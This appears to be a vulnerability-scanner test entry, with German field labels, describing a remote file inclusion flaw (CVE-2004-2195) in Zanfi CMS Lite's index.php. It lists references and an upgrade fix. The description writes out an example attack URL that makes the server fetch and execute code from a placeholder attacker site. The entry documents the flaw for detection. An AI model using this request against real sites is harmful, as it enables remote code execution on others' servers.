Test Kennung:	1.3.6.1.4.1.25623.1.0.15452
Kategorie:	CGI abuses
Titel:	Zanfi CMS Lite Remote File Include
Zusammenfassung:	NOSUMMARY
Beschreibung:	Description: The remote host is running Zanfi CMS Lite, a content management system written in PHP. There is a bug in the remote version of this software which may allow an attacker to execute arbitrary commands on the remote host by using a file inclusion bug in the file 'index.php'. An attacker may execute arbitrary commands by requesting : http://www.example.com/index.php?inc=http://[evilsite]/commands which will make the remote script include the file commands.php and execute it. Solution : Upgrade the newest version of this software Risk factor : High
Querverweis:	BugTraq ID: 11362 Common Vulnerability Exposure (CVE) ID: CVE-2004-2195 http://www.securityfocus.com/bid/11362 Bugtraq: 20041011 Multiple vulnerabilities in ZanfiCmsLite (Google Search) http://www.securityfocus.com/archive/1/378053 http://www.osvdb.org/10676 http://securitytracker.com/id?1011612 http://secunia.com/advisories/12792 XForce ISS Database: zanficmslite-inc-file-include(17691) https://exchange.xforce.ibmcloud.com/vulnerabilities/17691
Copyright	This script is Copyright (C) 2004 Tenable Network Security

Dies ist nur einer von 99761 Anfälligkeitstests in unserem Testpaket. Finden Sie mehr über unsere vollständigen Sicherheitsüberprüfungen heraus. Um einen gratis Test für diese Anfälligkeit auf Ihrem System durchlaufen zu lassen, registrieren Sie sich bitte unten.